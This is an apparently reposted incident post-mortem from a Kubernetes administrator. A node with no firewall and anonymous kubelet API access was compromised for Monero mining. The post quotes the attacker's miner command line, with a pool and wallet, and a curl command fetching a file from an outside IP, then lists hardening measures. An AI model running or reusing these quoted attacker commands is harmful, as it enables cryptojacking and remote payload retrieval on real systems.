How a Misconfigured kubelet Led to a Crypto‑Mining Breach in Our Kubernetes Cluster

Recently we experienced a compromise of one machine in our self‑built Kubernetes cluster, which was used for crypto‑mining. Fortunately the impact was limited to mining activity only.

Network security is a serious issue that often appears unnoticed until it is too late; readers are encouraged to check and harden their own clusters after reading this.

Invasion Phenomenon

We detected an abnormal process on the affected machine.

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm</code>
<code>curl -s http://45.9.148.35/scan_threads.dat

In short, our machine was being used for mining.

After the issue surfaced we immediately stopped Docker, isolated the environment, and dumped the mining program for later analysis.

Root Cause Investigation

iptables empty

Seeing the abnormal process, the first thing we checked was iptables. As expected, the iptables rules were empty, meaning the machine was exposed without a firewall.

kubelet exposed

A colleague suggested that the kubelet might have been compromised. After checking other components we focused on kubelet.

We eventually found abnormal entries in the kubelet logs.

kubelet misconfiguration

The investigation confirmed that kubelet parameters were incorrectly set, allowing direct access to the kubelet API.

We discovered that a line in the kubelet startup configuration had been commented out, disabling the restriction on anonymous access.

The configuration that forbids anonymous access was not being read.

This setting was commented out due to my own mistake.

Since the machine was newly added, the issue was discovered the same night. I managed the whole cluster, so I quickly identified the cause and re‑checked the configuration on other nodes; if their firewalls were also missing, similar intrusions could occur. Fortunately the incident was limited to a single node.

Improvement Plan

In theory the problem could have been avoided; multiple layers of vulnerability allowed the attacker to succeed. I outline the following mitigation strategies:

Enforce host‑level firewall rules. Even if firewall synchronization fails, do not leave all ports open; default to blocking all ports and only open them after an administrator connects via a tty.

Avoid exposing public IPs for machines that are not intended for external use. Our node was scanned and compromised within a day of being online, illustrating the danger of public exposure.

When using kubelet or other services, reconsider which ports are bound. Instead of listening on 0.0.0.0, bind only to the internal network IP.

Implement proper authentication for anonymous access. If anonymous access is unnecessary, disable it and design an authentication system.

Standardize operational procedures for administrators. Prefer scripted operations over manual commands in production to simplify troubleshooting and reduce human error.

Summary

After the intrusion, a colleague joked that it was lucky there was no financial loss, otherwise I might have had to go home. As the cluster administrator, I understand the severity: the attacker gained full control over Docker on the compromised node. Readers familiar with my Docker series will recognize the permission implications.

This incident affected not only me but also several SA teammates, which was disheartening. I hope everyone pays more attention to network security, starting with firewall hardening and avoiding unnecessary open ports—these are the easiest yet most effective defenses.

Article reposted from 高效运维 (copyright belongs to the original author, removal upon request)